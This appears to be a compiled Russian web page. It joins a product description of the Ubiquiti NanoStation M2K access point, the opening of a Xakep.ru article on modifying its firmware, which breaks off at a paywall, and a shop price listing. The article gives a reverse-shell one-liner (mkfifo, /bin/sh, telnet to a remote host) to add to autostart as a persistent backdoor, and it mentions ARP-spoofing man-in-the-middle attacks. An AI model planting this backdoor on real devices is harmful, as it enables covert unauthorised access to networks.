Точка доступа Wi-Fi NanoStation M2K

• Беспроводная сеть с поддержкой стандартов IEEE 802.11b/g/n
• Эксплуатация в суровых климатических условиях, класс защиты IP65
• Режимы работы: AP, Client Bridge, WDS
• Поддержка технологии Airmax для предотвращения коллизий
• Надежная защита сетевой информации с WEP, WPA и WPA-2 шифрованием
• Выходная мощность до 600 мВт
• Сектор охвата антенны в горизонтальной плоскости 55°
• Встроенная антенна с двойной поляризацией и усилением 10.4~11.2 dBi
• Интеллектуальное назначение приоритетов для потокового трафика
• Питание по кабелю Ethernet

Точка доступа NanoStation M2K представляет собой Wi-Fi 2.4 ГГц передатчик мощностью 600 мВт с интегрированной секторной MIMO 2×2 антенной с коэффициентом усиления 11dBi: очень внушительно, особенно учитывая более чем скромные размеры и вес всего в 400 г. Данная точка доступа выполнена во влагозащищенном, морозостойком корпусе и предназначена для эксплуатации в широком диапазоне температур от -30 до +70°С. NanoStation M2K стандарта 802.11b/g/n разработана таким образом, чтобы сохранять максимальное покрытие при наивысшей скорости передачи данных. Она оптимально сочетает в себе малый вес, высокое качество работы, питание по PoE. NanoStation M2K – это простое и удобное устройство, позволяющее организовать беспроводную сеть где угодно с минимальными капиталовложениями.

Возможности NanoStation M2K

NanoStation M2K поддерживает технологию Airmax, использование которой позволяет предотвратить коллизии при беспроводной передаче данных. Интеллектуальный планировщик даст возможность присвоить высокий приоритет видео- и голосовому трафику, а также назначать приоритеты отдельным клиентам.

Режим «Точка доступа»

Поскольку интегрированная антенна обладает горизонтальным сектором в 55°, будет очень уместно применять NanoStation M2K в качестве точки доступа. Это даст возможность подключить к ней беспроводных клиентов на расстоянии до 6 км. Гибкость в настройке и впечатляющая мощность устройства помогут построить целую сеть В качестве Station используя те же NanoStation M2K. Подобная инфраструктура будет применима для организации беспроводного доступа в населенных пунктах или позволит связать воедино с центральным офисом удаленные филиалы.

Режим «Беспроводной клиент»

Если поставлена задача подключиться к удаленной на расстояние нескольких километров точке доступа, реализовать ее можно при помощи NanoStation M2K. Компактность устройства, возможность бесперебойно работать при различных климатических условиях дают широкий спектр возможностей для его монтажа на клиентской стороне.

Режим «Точка–Точка» (мост)

NanoStation M2K незаменима при организации Wi-Fi мостов. Что может быть проще, чем воспользоваться двумя такими устройствами для подключения к интернету дачного домика в небольшой удаленности от города? Такой режим также будет очень полезен для системы видеонаблюдения, когда потоки с нескольких камер нужно передать через беспроводную сеть. Кроме этого, стабильность и уличное исполнение устройства будут решающими факторами при построении магистральных беспроводных каналов. Эта точка доступа позволит делать мосты на расстояние порядка 10 км.

Управление и применение

В России NanoStation M2К нашла широкое применение как средство организации сетей Wi-Fi в сельских регионах, однако она отлично подходит для подключения к корпоративной сети любого удаленного офиса, производственного корпуса, логистического комплекса или склада. Все интерфейсы точки доступа (2 сетевых разъема RJ-45) находятся под защитной крышкой. Это защищает их от повреждений и неблагоприятных климатических условий. NanoStation M2К – это одно из самых популярных и проверенных временем решений на сегодняшний день.

Описание файла	Размер	Дата	Загрузить
Рекламные материалы
Каталог оборудования BEWARD	5.8 МБ	10.02.2021
Русскоязычная документация
Руководство по подключению точки доступа Wi-Fi	11.6 МБ	04.09.2015
Программное обеспечение
Прошивка для точки доступа Wi-Fi, версия 5.6.2	7.1 МБ	04.09.2015

Вы можете оставить свой отзыв о товареВаш отзыв о товаре NanoStation M2 фирмы Ubiquiti — это всепогодная точка доступа, предназначенная для построения беспроводных мостов на расстояние десять и более километров. Может работать в режиме радиомоста, точки доступа, репитера. В качестве процессора в ней используется чип Atheros AR2315 (MIPS 4KC, 180 МГц). Имеет на борту 32 Мбайт оперативной памяти и 8 Мбайт флеш. То есть это, по сути, мини-компьютер, построенный на архитектуре MIPS, с установленным Linux на борту. А это значит, что можно модифицировать его под свои нужды. Каким образом? Об этом и поговорим.

Зачем оно надо?

Кто-то может с самого начала небезосновательно задать вопрос: а зачем, собственно, ковырять прошивку? Ведь можно взять готовый SDK и собрать свою прошивку с практически любым набором программ. Отвечу. Во-первых, ребята из Ubiquiti свернули программу по распространению SDK, во-вторых, при сборке SDK может возникнуть куча проблем (у меня, например, так и не получилось собрать работоспособную версию кастомной прошивки). Ну и в-третьих, как ни парадоксально, модификация готовой прошивки требует минимум инструментов и времени.

Для чего вообще это все может понадобиться? Для добавления функциональности, не предусмотренной базовой прошивкой. Например, для создания обратных тоннелей. Добавив в автозагрузку вот это:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | telnet remoteip remoteport > /tmp/f

где remoteip — адрес, куда необходимо подключиться, remoteport — удаленный порт, можно получить доступ к устройству даже после сброса или смены логина/пароля. Для добавления всяких сканеров (я успешно добавил knocker, это, конечно, не Nmap, но все же), спуферов (собрав тот же arpspoof, можно реализовать атаку man in the middle, тем более что tcpdump уже имеется в базовой прошивке) и прочих прелестей (например, собрав OpenVPN, можно получить доступ к сети, где стоит наша железка, из любого места). В общем, при желании и наличии фантазии можно сделать из NanoStation M2 отличный инструмент для взлома.

Инструменты

Я проводил все эксперименты на прошивке версии 5.5.4, 6-я версия имеет незначительные отличия, но аналогичным образом можно изменить и ее. Все действия совершались в виртуальной машине, на которой был установлен Arch Linux. Прежде всего для работы нам понадобится binwalk. В Arch’e ставим так: pacman -S binwalk. Также необходим кросс-компилятор для архитектуры MIPS. Тот, который использовал я, можешь взять отсюда. Его нужно распаковать в удобный каталог. У меня он лежит в /root/toolchains/cross-compiler-mips. Ну и собственно сам файл прошивки XM-v5.5.4.build16501.bin. Еще потребуются утилиты для работы со squashfs, а также какой-нибудь hex-редактор. Я использовал hexedit, установить его просто: pacman -S squashfs-tools hexedit. Да, для вычисления контрольных сумм я поставил пакет perl-archive-zip: pacman -S perl-archive-zip, в нем есть скрипт crc32, он и будет нам нужен. Итак, начнем.

Общее строение прошивки

Перед тем как что-то менять, ознакомимся с внутренним устройством прошивки. В общем случае она представляет собой бинарный файл, который состоит из следующих частей:

1. Ubiquiti firmware header — заголовок прошивки. Содержит строку с версией прошивки.
2. Ubiquiti partition header — заголовок первого раздела (PARTu-boot). Здесь содержится основная информация о разделе u-boot: размер, адреса памяти для загрузки, максимальный размер и так далее. Стоит отметить, что формат заголовков разделов один и тот же, меняются только значения параметров для соответствующих разделов (имена, размеры, адреса памяти).
3. Загрузчик u-boot — собственно сам загрузчик.
4. Ubiquiti partition header — заголовок второго раздела (PARTkernel). Описывает раздел PARTkernel (см. п. 2).
5. Образ ядра, сжатый алгоритмом LZMA. В основном используется ядро версии 2.6.х.
6. Ubiquiti partition header — заголовок третьего раздела (PARTrootfs). Описание раздела с файловой системой.
7. Образ файловой системы squashfs, сжатый алгоритмом LZMA. С этим образом мы и будем работать.
8. Данные, сжатые gzip. Они нам не понадобятся, поэтому опустим подробности, что они собой представляют.

Базовая информация о строении прошивки была получена отсюда.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Я уже участник «Xakep.ru»← Ранее Более 20 моделей роутеров Linksys уязвимы перед атаками и могут стать частью ботнетовДалее → Очередная уязвимость в LastPass позволяла обойти двухфакторную аутентификацию

сравнить Артикул: 137762 / Код: NSM2(RU)

Товар под заказ6 895₽RUB68956 595 ₽ — за наличный расчет 575 ₽/мес. — оплата в кредит*7 033 ₽ — стоимость для юридических лицСамовывоз — бесплатноДоставка по городу — 250 ₽Доставка юридическим лицам — бесплатноДоставка по России — 500 ₽

** Фактический срок доставки может отличаться от указанного на сайте

Нашли ошибку в описании, сообщите нам.

Внимание! Внешний вид товара, комплектация и характеристики могут изменяться производителем без предварительных уведомлений.

При заказе оборудования, проверяйте заявленные характеристики на официальных сайтах производителя. Данный интернет-сайт носит исключительно информационный характер и ни при каких условиях не является публичной офертой, определяемой положениями Статьи 437 (2) Гражданского кодекса Российской Федерации.

Будь в курсе последних акций и предложений

Подпишитесь на последние обновления и узнавайте о новинках и специальных предложениях первыми

Используемые источники:

• https://www.beward.ru/katalog/setevoe-oborudovanie/besprovodnoe-oborudovanie/tochka-dostupa-wi-fi-nanostation-m2k/
• https://xakep.ru/2017/04/24/ubiquiti-nanostation-m2-firmware/
• https://tehnomaks.ru/catalog/detail/45e0cc6b98dc64709868c090347b8db3